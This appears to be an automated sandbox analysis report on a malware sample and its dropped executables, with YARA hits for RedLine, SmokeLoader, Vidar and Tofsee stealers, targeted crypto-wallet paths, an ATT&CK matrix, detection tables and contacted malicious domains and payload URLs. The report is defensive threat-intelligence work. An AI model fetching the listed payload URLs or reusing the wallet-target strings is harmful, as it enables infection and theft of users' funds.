Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\CBE6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe

Code function: 1_2_00408ECC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

1_2_00408ECC

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Code function: 20_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

20_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Code function: 20_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

20_2_0040ACA0

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

Code function: 22_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

22_2_0040405E

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe

Code function: 1_2_004017B8 SetComputerNameW,EnumSystemLocalesW,GetConsoleAliasesA,FindResourceExA,GetVersionExA,VirtualQuery,CreateThread,SetComputerNameExW,_printf,_malloc,_calloc,__wfopen_s,_fseek,GetConsoleAliasA,GetModuleHandleA,LocalAlloc,GetConsoleTitleA,GetConsoleTitleA,GetConsoleTitleA,GetAtomNameA,CreateIoCompletionPort,GetFileAttributesW,GetDefaultCommConfigW,

1_2_004017B8

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 41.0.CBE6.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.CBE6.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.CBE6.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.CBE6.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.CBE6.exe.408f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.CBE6.exe.408f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.CBE6.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.467115286.0000000003F71000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.460150165.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.461450610.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.462290204.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.460728754.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 3.1.PPsa8TXVuy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.PPsa8TXVuy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.fjsvubj.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.PPsa8TXVuy.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.B55D.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.B55D.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PPsa8TXVuy.exe.5315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.B55D.exe.6415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.PPsa8TXVuy.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.B55D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.B55D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.B55D.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.PPsa8TXVuy.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.fjsvubj.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.fjsvubj.4615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.335338830.0000000002E11000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.405483918.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.348249528.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.348386960.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.405522492.0000000000591000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.422155838.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.421814485.0000000000540000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C29C.exe PID: 6536, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 22.2.BE39.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.BE39.exe.640e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.BE39.exe.660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.BE39.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.416092673.0000000000660000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BE39.exe PID: 6616, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: \Electrum-LTC\wallets\
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: \Electrum\wallets\
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: window-state.json
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: exodus.conf.json
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: info.seco
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: ElectrumLTC
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: passphrase.json
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: \Ethereum\
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: exodus.conf.json
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: file__0.localstorage
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: Ethereum
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: default_wallet
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: multidoge.wallet
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: seed.seco
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: keystore
Source: C29C.exe, 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Source: Yara match	File source: 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C29C.exe PID: 6536, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 41.0.CBE6.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.CBE6.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.CBE6.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.CBE6.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.CBE6.exe.408f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.CBE6.exe.408f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.CBE6.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.467115286.0000000003F71000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.460150165.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.461450610.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.462290204.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.460728754.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 3.1.PPsa8TXVuy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.PPsa8TXVuy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.fjsvubj.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.PPsa8TXVuy.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.B55D.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.B55D.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PPsa8TXVuy.exe.5315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.B55D.exe.6415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.PPsa8TXVuy.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.B55D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.B55D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.B55D.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.PPsa8TXVuy.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.fjsvubj.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.fjsvubj.4615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.335338830.0000000002E11000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.405483918.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.348249528.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.348386960.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.405522492.0000000000591000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.422155838.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.421814485.0000000000540000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C29C.exe PID: 6536, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 22.2.BE39.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.BE39.exe.640e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.BE39.exe.660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.BE39.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.416092673.0000000000660000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BE39.exe PID: 6616, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

Code function: 22_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,

22_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Native API531	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools11	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution1	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel21	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter3	Windows Service4	Access Token Manipulation1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution3	Logon Script (Mac)	Windows Service4	Software Packing33	NTDS	System Information Discovery227	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Process Injection513	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol25	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery551	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading31	Proc Filesystem	Virtualization/Sandbox Evasion231	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion231	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection513	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PPsa8TXVuy.exe	40%	Virustotal		Browse
PPsa8TXVuy.exe	51%	ReversingLabs	Win32.Trojan.CrypterX
PPsa8TXVuy.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\CBE6.exe	100%	Avira	HEUR/AGEN.1211353
C:\Users\user\AppData\Local\Temp\qsflslyl.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\C29C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CBE6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A975.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1F56.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B55D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\36F6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\qsflslyl.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4186.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5BB7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BE39.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\66D4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7C90.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\fjsvubj	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\50F8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1F56.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1F56.exe	63%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\36F6.exe	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\36F6.exe	81%	ReversingLabs	Win32.Trojan.Raccrypt
C:\Users\user\AppData\Local\Temp\50F8.exe	46%	ReversingLabs	Win32.Trojan.Fragtor
C:\Users\user\AppData\Local\Temp\5BB7.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\5BB7.exe	63%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\A975.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\A975.exe	77%	ReversingLabs	Win32.Trojan.Raccoon
C:\Users\user\AppData\Local\Temp\CBE6.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\CBE6.exe	89%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Unpacked PE Files

Source	Detection	Scanner	Label	Download
25.0.CBE6.exe.c10000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
12.0.A975.exe.600e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.B55D.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
12.0.A975.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.PPsa8TXVuy.exe.5315a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.B55D.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
41.0.CBE6.exe.740000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
19.0.B55D.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
41.0.CBE6.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
14.2.B55D.exe.6415a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.1.PPsa8TXVuy.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.C29C.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.fjsvubj.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
41.0.CBE6.exe.740000.13.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
41.0.CBE6.exe.740000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
20.3.C29C.exe.690000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.2.PPsa8TXVuy.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
41.0.CBE6.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
41.0.CBE6.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
11.0.fjsvubj.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.fjsvubj.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.A975.exe.600e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
41.0.CBE6.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
3.0.PPsa8TXVuy.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
41.0.CBE6.exe.740000.9.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
19.0.B55D.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.fjsvubj.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.0.A975.exe.600e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.B55D.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.0.CBE6.exe.c10000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
12.2.A975.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
41.0.CBE6.exe.740000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
41.0.CBE6.exe.740000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
41.0.CBE6.exe.740000.11.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
19.0.B55D.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
12.3.A975.exe.620000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.BE39.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
41.0.CBE6.exe.740000.7.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
3.0.PPsa8TXVuy.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.1.B55D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.0.CBE6.exe.c10000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
25.0.CBE6.exe.c10000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
22.2.BE39.exe.640e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
19.0.B55D.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.2.B55D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.2.CBE6.exe.c10000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
10.2.fjsvubj.4615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.C29C.exe.570e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.0.PPsa8TXVuy.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
41.0.CBE6.exe.740000.5.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
12.0.A975.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.1.fjsvubj.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.3.BE39.exe.660000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
41.0.CBE6.exe.400000.12.unpack	100%	Avira	HEUR/AGEN.1145065	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://unicupload.top/install5.exe	100%	URL Reputation	phishing
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://host-data-coin-11.com/	0%	URL Reputation	safe
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	14%	Virustotal		Browse
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://goo.su/abhF	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	13%	Virustotal		Browse
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	100%	Avira URL Cloud	malware
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://185.233.81.115/32739433.dat?iddqd=1	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/game.exe	0%	URL Reputation	safe
http://data-host-coin-8.com/files/8474_1641976243_3082.exe	100%	Avira URL Cloud	malware
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://help.disneyplus.com.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pool-fr.supportxmr.com	91.121.140.167	true	false	high
unicupload.top	54.38.220.85	true	false	high
host-data-coin-11.com	93.189.42.167	true	false	high
cdn.discordapp.com	162.159.129.233	true	false	high
privacy-tools-for-you-780.com	93.189.42.167	true	false	high
goo.su	104.21.38.221	true	false	high
transfer.sh	144.76.136.153	true	false	high
a0621298.xsph.ru	141.8.194.74	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.225	true	false	high
data-host-coin-8.com	93.189.42.167	true	false	high
